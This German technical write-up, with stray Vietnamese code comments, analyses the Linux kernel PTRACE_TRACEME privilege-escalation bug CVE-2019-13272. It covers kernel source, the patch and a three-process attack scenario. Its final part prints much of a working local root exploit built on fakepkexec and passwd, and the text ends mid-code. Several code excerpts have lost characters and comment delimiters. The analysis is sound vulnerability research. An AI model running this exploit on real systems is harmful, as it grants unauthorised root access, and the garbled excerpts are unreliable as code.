
Tiefgehende Analyse und Exploit für CVE-2019-13272, eine Linux-Kernel-Privilegieneskalations-Schwachstelle (ptrace). Enthält Code-Walkthrough und Exploitation-Szenario.
PTRACE_TRACEME ist eine Privilegieneskalations-Schwachstelle im Linux-Kernel, die im Juli 2019 von Jann Horn entdeckt wurde.
Ptrace ist ein Systemaufruf, der eine Methode bereitstellt, die es einem Prozess (Tracer) ermöglicht, die Ausführung eines anderen Prozesses (Tracee) zu beobachten und zu steuern, dessen Core-Abbild und Register zu überprüfen und zu ändern. Es wird hauptsächlich verwendet, um Breakpoints beim Debuggen zu setzen und den Verlauf von Systemaufrufen zu verfolgen.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);
Es gibt zwei Möglichkeiten, eine Trace-Beziehung herzustellen:
- Ein Prozess ruft fork auf, und sein Kindprozess ruft `PTRACE_TRACEME` (entspricht der Kernel-Funktion `ptrace_traceme`) auf, um einen Tracee zu initialisieren.
- Ein Prozess ruft `PTRACE_ATTACH` oder `PTRACE_SEIZE` (entspricht der Kernel-Funktion `ptrace_attach`) auf, um einen Tracer zu initialisieren, der einen anderen Prozess tracen kann.
Unabhängig davon, welche Methode verwendet wird, wird am Ende die Funktion `ptrace_link` aufgerufen, um die Trace-Beziehung zwischen Tracer und Tracee herzustellen.
- Die beiden an `ptrace_link` übergebenen Parameter für `ptrace_attach` sind 'task' (Tracee) und 'current' (Tracer).
- Die beiden an `ptrace_link` übergebenen Parameter für `ptrace_traceme` sind 'current' (Tracee) und 'current->real_parent' (Tracer).
Hierbei müssen wir beachten, welche beiden Parameter von Tracer und Tracee in den beiden obigen Methoden beim Aufruf von `ptrace_link` übergeben werden, da die Schwachstelle in der Funktion `ptrace_link` liegt.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi
// ptraced của process cha
child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung
// vào biến này vì lỗi nằm ở đây
}
Der Schlüssel zur Einrichtung einer Trace-Beziehung besteht darin, dass der Tracee die Credentials des Tracers aufzeichnet und sie in der Variablen 'ptracer_cred' des Tracee speichert.
Das Konzept von 'ptracer_cred' wurde durch einen Patch aus dem Jahr 2016 eingeführt: ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. Der Zweck der Einführung von 'ptracer_cred' war es, eine Sicherheitsprüfung durchzuführen, wenn der Tracee einen exec ausführt, um eine setuid executable zu laden.
Warum ist diese Sicherheitsprüfung notwendig?
Die Familie der exec-Aufrufe kann das Image eines Prozesses aktualisieren. Wenn das setuid-Bit der ausführbaren Datei gesetzt ist, wird bei der Ausführung der ausführbaren Datei die euid des Prozesses auf die UID des Besitzers der ausführbaren Datei geändert. Die Berechtigungen des Prozesses sind dann höher als die des Benutzers, der exec aufgerufen hat, und die Ausführung einer solchen setuid executable hat eine Eskalationswirkung (escalation).
Stellen Sie sich vor, wenn der Prozess, der exec ausführt, selbst ein Tracee ist, nachdem er eine setuid executable ausgeführt hat, um seine Privilegien zu erweitern, kann sein Tracer jederzeit dessen (des Tracee) Register und Speicher ändern. Wenn ein Tracer mit niedrigen Privilegien einen Tracee mit hohen Privilegien kontrollieren kann, könnte der Tracer über den Tracee unbefugte Operationen ausführen.
Im Kernel scheint es jedoch nicht erlaubt zu sein, dass derartige Befugnisüberschreitungen existieren. Daher muss der Tracee beim Einrichten von Trace-Beziehungen die Credentials des Tracers (d.h. ptracer_cred) speichern. Wenn der Tracee einen exec-Prozess ausführt, wird überprüft, ob das setuid-Bit der ausgeführten Datei gesetzt ist. Falls ja, werden die Berechtigungen von 'ptracer_cred' berücksichtigt. Wenn die Berechtigungen nicht ausreichen, wird die ausführbare Datei nicht mit den erweiterten Rechten (den Privilegien des Dateibesitzers) ausgeführt, sondern mit den Rechten des ursprünglichen Benutzers.
Die Codeanalyse dieses Prozesses ist wie folgt (die Codeanalyse dieses Artikels basiert auf v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)
Die Aktivitäten im Zusammenhang mit Ausführungsberechtigungen befinden sich hauptsächlich in der Funktion `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }
Wie oben, wird zuerst bprm_fill_uid aufgerufen, um die Credentials des neuen Prozesses zu füllen, danach wird security_bprm_set_creds aufgerufen, um die Sicherheit zu prüfen und die neuen Credentials gegebenenfalls zu ändern.``` c
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 /
1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set
1534 return; // , hàm sẽ return tại đây.
1535
1536 / Be careful if suid/sgid is set /
1537 inode_lock(inode);
1538
1539 / reload atomically mode/uid/gid now that lock held /
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 / We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }
Betrachten Sie die folgenden 2 Codezeilen für den obigen Code:
- Zeile 1522: Setzt die aktuelle euid des Prozesses auf die neue euid, sodass die meisten ausgeführten Prozesse mit den ursprünglichen Berechtigungen ausgeführt werden.
- Zeile 1552: Wenn das suid-Bit gesetzt ist, wird die uid des Besitzers der ausführbaren Datei auf die neue uid gesetzt. Dies kann als ähnlich zu setuid verstanden werden. Die neue euid wird zur uid des Besitzers der ausführbaren Datei. Wenn der Besitzer ein privilegierter Benutzer ist, findet hier die Privilegieneskalation statt.
Allerdings ist die euid hier noch nicht das endgültige Ergebnis; wir müssen die Funktion `security_bprm_set_creds` betrachten, um mehr über die Sicherheitsüberprüfung zu erfahren.
Die Funktion `security_bprm_set_creds` ruft das [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules)-Framework auf.
In der Kernelversion, die ich analysiert habe, gibt es bis zu 5 LSM-Hook-Punkte, die die Sicherheitsüberprüfung von 'bprm_set_creds' durchführen. Die Prüffunktionen sind wie folgt:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds
Welche Hook-Funktionen hier ausgeführt werden, hängt von der Konfiguration des jeweiligen Kernels ab. Theoretisch, wenn alle LSM-Frameworks aktiviert sind, werden alle oben genannten Hook-Funktionen implementiert, um 'bprm_set_creds' zu überprüfen.
In meiner Analyseumgebung werden nur die Hook-Funktionen cap_bprm_set_creds und selinux_bprm_set_creds ausgeführt.
Dabei spielt die Funktion cap_bprm_set_creds eine Rolle bei der Änderung der euid:``` c
815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 / Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 /
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào
848 / downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}
Wie oben,
- Zeile 845 prüft, ob die euid mit der ursprünglichen uid übereinstimmt (in der Analyse der Funktion `bprm_fill_uid` oben, wenn die ausgeführte Datei das setuid-Bit gesetzt hat, ist die euid normalerweise nicht konsistent) ==> Hier kann man auch verstehen, dass dies der Erkennung eines ausgeführten Prozesses als setid-Programm entspricht.
- Zeile 847 prüft, ob der Prozess ein tracee ist.
Wenn die beiden obigen Bedingungen erfüllt sind, muss die Funktion `ptracer_capable` ausgeführt werden, um die Berechtigungen zu überprüfen. Wenn die Prüfung nicht bestanden wird, erfolgt eine Herabstufung der Berechtigungen.
- Zeile 851 ändert den Wert von '*new->euid*' in '*new->uid*', was bedeutet, dass die Berechtigungen, die von der Funktion `bprm_fill_uid` (cred) stammen, hier herabgestuft werden können.``` c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
507 rcu_read_unlock();
508 return (ret == 0);
509 }
Wie oben
Die Variable 'tsk->ptracer_cred' ist mit der hier liegenden Schwachstelle verbunden. Wie bereits erwähnt, sind dies die Credentials des Tracers, die vom Tracee gespeichert werden, wenn die Trace-Beziehung hergestellt wird.
Wenn der Tracee später execve ausführt, um ein suid-ausführbares Programm auszuführen, ruft er die Funktion ptracer_capable auf und verwendet das Security-Framework im LSM, um die Berechtigungen von 'ptracer_cred' zu bestimmen.
Wir werden security_capable_noaudit im LSM-Framework nicht analysieren, aber es kann einfach verstanden werden, dass, wenn der Tracer selbst Root-Rechte hat, die Prüfung hier bestanden wird; andernfalls wird ein Fehler zurückgegeben.
Gemäß der vorherigen Analyse: Wenn die Überprüfung durch die Funktion ptracer_capable fehlschlägt, wird die Berechtigung von 'new->euid' auf die ursprüngliche Berechtigung herabgesetzt.
Beispiel: A ptrace B, B führt execve '/usr/bin/passwd' aus. Gemäß der obigen Code-Analyse: Wenn A Root-Rechte hat, ist die euid von B bei der Ausführung von passwd root; andernfalls verwendet es die ursprüngliche Berechtigung.``` c
kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent);
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }
Kehren wir zu dem obigen Codeabschnitt mit der Sicherheitslücke zurück: Warum ist traceme falsch, wenn es beim Einrichten des Trace-Links die Anmeldedaten seines übergeordneten Elements verwendet? Offensichtlich ist sein übergeordnetes Element zu diesem Zeitpunkt der Tracer?
Verwenden wir das Beispiel von Jann Horn, um zu veranschaulichen, warum traceme beim Einrichten des Trace-Links auf diese Weise nicht die Anmeldedaten des Tracers verwenden kann.``` py
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C
Es gibt insgesamt 3 Prozesse: A, B, C im obigen Szenario.
PTRACE_TRACEME verwendet, um eine Trace-Verbindung mit B herzustellen, ist die euid von B jetzt 0 (da es gerade ein suid-Binary ausgeführt hat), die euid von 'ptracer_cred', die von C geschrieben wurde, ist ebenfalls 0.execve(suid binary) aus. Gemäß der obigen Analyse wird die Funktion ptracer_capable bestanden, weil 'ptracer_cred' von C privilegiert ist. Daher wird nach der Ausführung von execve die euid von Task C ebenfalls auf 0 angehoben. Beachten Sie, dass die Trace-Verbindung zwischen B und C zu diesem Zeitpunkt weiterhin gültig ist.setresuid aus, um seine Berechtigungen herabzustufen. Der Zweck davon ist, sich mit Task A zu verbinden.PTRACE_ATTACH, um eine Trace-Verbindung mit B herzustellen. A und B haben beide normale Berechtigungen. Anschließend kann A B kontrollieren, um beliebige Aktionen auszuführen.Die ersten 9 Schritte wurden gemäß der vorherigen Codeanalyse eingerichtet. Kann Schritt 9 eingerichtet werden?
Bei der Ausführung von Schritt 10 hat Task B selbst normale Berechtigungen, Task C hat Root-Berechtigungen und die Trace-Verbindung zwischen B und C ist gültig. Kann B unter diesen Bedingungen eine ptrace-Anfrage senden, damit C verschiedene Aktionen ausführt, einschließlich einer Privilegieneskalation oder nicht?
Analysieren wir dies mit dem folgenden Code:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }
Wie im obigen Code, da Task B und Task C zu diesem Zeitpunkt bereits Trace-Links haben, kann die ptrace-Anfrage direkt über B an C gesendet werden, woraufhin die Funktion `arch_ptrace` aufgerufen wird.``` c
arch/x86/kernel/ptrace.c
arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }
1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }
Wenn der Tracer den Tracee dazu bringen möchte, neue Codelogik auszuführen, muss er Lese- und Schreibanforderungen an den Code- und Speicherbereich des Tracee senden. Die entsprechenden Funktionen sind PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.
Diese Lese- und Schreiboperationen werden letztendlich über die Funktion ptrace_access_vm ausgeführt.``` c
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa.
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }
kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }
Betrachten wir den obigen Codeabschnitt: Die Funktion `ptrace_access_vm` ruft die Funktion `ptracer_capable` auf, die wir zuvor analysiert haben, um zu bestimmen, ob ihre Anforderung ausgeführt werden kann.
Gemäß der vorherigen Analyse ist '*ptracer_cred*', das zu diesem Zeitpunkt in Task C gespeichert ist, ein Credential mit Privilegien, sodass `ptracer_capable` zu diesem Zeitpunkt erfolgreich sein wird – das bedeutet, dass die obige Frage bereits beantwortet wurde. In diesem Fall kann Task B mit normalen Berechtigungen ptrace verwenden, um Lese- und Schreibanforderungen an den Speicher- und Codebereich von Task C mit Root-Berechtigungen zu senden.
Zu diesem Zeitpunkt wird die Berechtigung '*ptracer_cred*' von Task C in zwei Fällen wirksam:
- Task C führt `execve(suid binary)` aus, um die Berechtigungen zu erhöhen.
- Task B mit normalen Berechtigungen kann ptrace ausführen, um den Code- und Speicherbereich von Task C zu lesen und zu schreiben und dadurch Task C zu beliebigen Aktionen zu steuern.
Ist die Kombination dieser beiden Rollen eine vollständige Privilegieneskalation?
Bevor wir diese Frage beantworten, betrachten wir, wie diese Schwachstelle ausgenutzt und gepatcht wurde.
# Überblick über den Patch für die PTRACE_TRACEME-Sicherheitslücke```
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
Im Wesentlichen ähnelt diese Schwachstelle etwas einer TOCTOU-Schwachstelle. Das Abrufen von 'ptracer_cred' in der traceme-Phase und die Verwendung von 'ptracer_cred' in der nächsten Phase in der folgenden ptrace-Anforderung, kann der cred des Tracers nicht der ursprüngliche cred sein, sondern der cred zum Zeitpunkt der Verknüpfung (d.h. es wird in der Funktion ptrace_link neu zugewiesen).``` diff
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
Werfen wir einen Blick zurück auf den Patch: '*\_\_task_cred(new_parent)*' wurde durch '*current_cred()*' ersetzt.
Der Patch zeigt, dass bei der Ausführung von PTRACE_TRACEME '*ptracer_cred*' nicht die Credentials des übergeordneten Prozesses verwendet, sondern die eigenen Credentials.
# Exploit
Der Schlüssel zur Ausnutzung dieser Schwachstelle ist es, ein geeignetes ausführbares Programm zu finden, um Task B zu starten. Dieses ausführbare Programm muss die folgenden Bedingungen erfüllen:
- Es muss von einem normalen Benutzer aufgerufen werden können.
- Es muss während der Ausführung eine Phase der Rechteausweitung zu root durchlaufen.
- Nach Erhalt der root-Rechte muss es die Rechte wieder herabsetzen können.
(Der Zweck der vorübergehenden Erhöhung auf root ist es, Task C zu erlauben, den ptracer_cred von root zu erhalten; der Zweck der Herabsetzung der Rechte ist es, zu erlauben, dass B von einem Prozess mit normalen ptrace-Berechtigungen angehängt werden kann.)
Hier sind 3 Codebeispiele zur Ausnutzung:
- [Exploit von Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit von Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit von Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)
Im [Exploit von Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) wird das auf dem System vorhandene Programm [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) (für Desktop-Versionen) verwendet, um Task B zu starten.
[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) erlaubt einem berechtigten Benutzer, ein anderes Programm mit den Rechten eines anderen Benutzers auszuführen; es wird im Authentifizierungsframework von polkit verwendet. Bei Verwendung des Parameters --user kann der Prozess die Rechte auf root erhöhen und dann auf den angegebenen Benutzer herabstufen, daher kann es für den Aufbau von Task B verwendet werden. Darüber hinaus müssen weitere ausführbare Programme gefunden werden, die über das polkit-Framework ausgeführt werden (Jann Horn verwendet Helfer). Diese Programme müssen die Bedingung erfüllen, dass normale Benutzer sie mit pkexec ausführen können, ohne sich authentifizieren zu müssen (viele Programme, die über polkit ausgeführt werden, erfordern eine Authentifizierung über ein Dialogfenster). Die Ausführung erfolgt wie folgt:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary
Exploit von Bcoles fügt Code hinzu, um zusätzliche Helper-Binaries auf Basis von Jann Horns Exploit zu finden. Da Jann Horns Helper ein hartcodiertes Programm ist, das in vielen Linux-Distributionen nicht existiert, kann sein Exploit nicht auf vielen Systemen verwendet werden. Im Gegensatz dazu kann der Exploit-Code von Bcoles auf mehr Distributionen erfolgreich ausgeführt werden.
Für Forschungszwecke werde ich über Jiayys Exploit sprechen, da die Helper-Binaries verschiedener Distributionen unterschiedlich sind und pkexec nur auf Desktop-Distributionen verfügbar ist. Tatsächlich handelt es sich bei dieser Privilege-Escalation-Schwachstelle um eine Schwachstelle des Linux-Kernels, weshalb Jann Horns Exploit modifiziert wurde, um die Privilege-Escalation über zwei manuell erstellte Programme (fakepkexec und fakehelper) zu ermöglichen (anstatt sie vom Zielsystem zu suchen). So kann der Leser diesen Exploit auf jedem anfälligen Linux-System (auch auf Nicht-Desktop-Systemen) zu Forschungszwecken ausführen.
Schauen wir uns den Exploit-Code unten an:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }
Zuerst sehen Sie sich Zeile 186 an, den Aufruf der Funktion clone, um einen untergeordneten Prozess (task B) zu erstellen, task B wird die Funktion middle_main ausführen.``` c
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("nUid:t%dt0t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
Zeile 70, die Funktion fork wird aufgerufen, um einen grandchild process (Task C) zu erstellen.
Danach, in Zeile 111, führt Task B fakepkexec aus, um Rechte zu erhöhen und anschließend wieder herabzustufen.
Als nächstes, in den Zeilen 76 bis 84: Nachdem Task C erkennt, dass die euid von Task B 0 geworden ist, führt es Zeile 91 aus, um die PTRACE_TRACEME-Operation durchzuführen und so die ptracer_cred von root zu erhalten, und führt dann sofort executel aus, um die suid binary auszuführen, damit seine euid 0 wird.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;
Als Nächstes kehren wir zur main-Funktion von Task A zurück, Zeilen 194 bis 202. Task A prüft, ob die comm-Datei von Task B bereits zum Helper geworden ist. Wenn ja, führt es Zeile 213 aus, um die Funktion force_exec_and_wait auszuführen.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
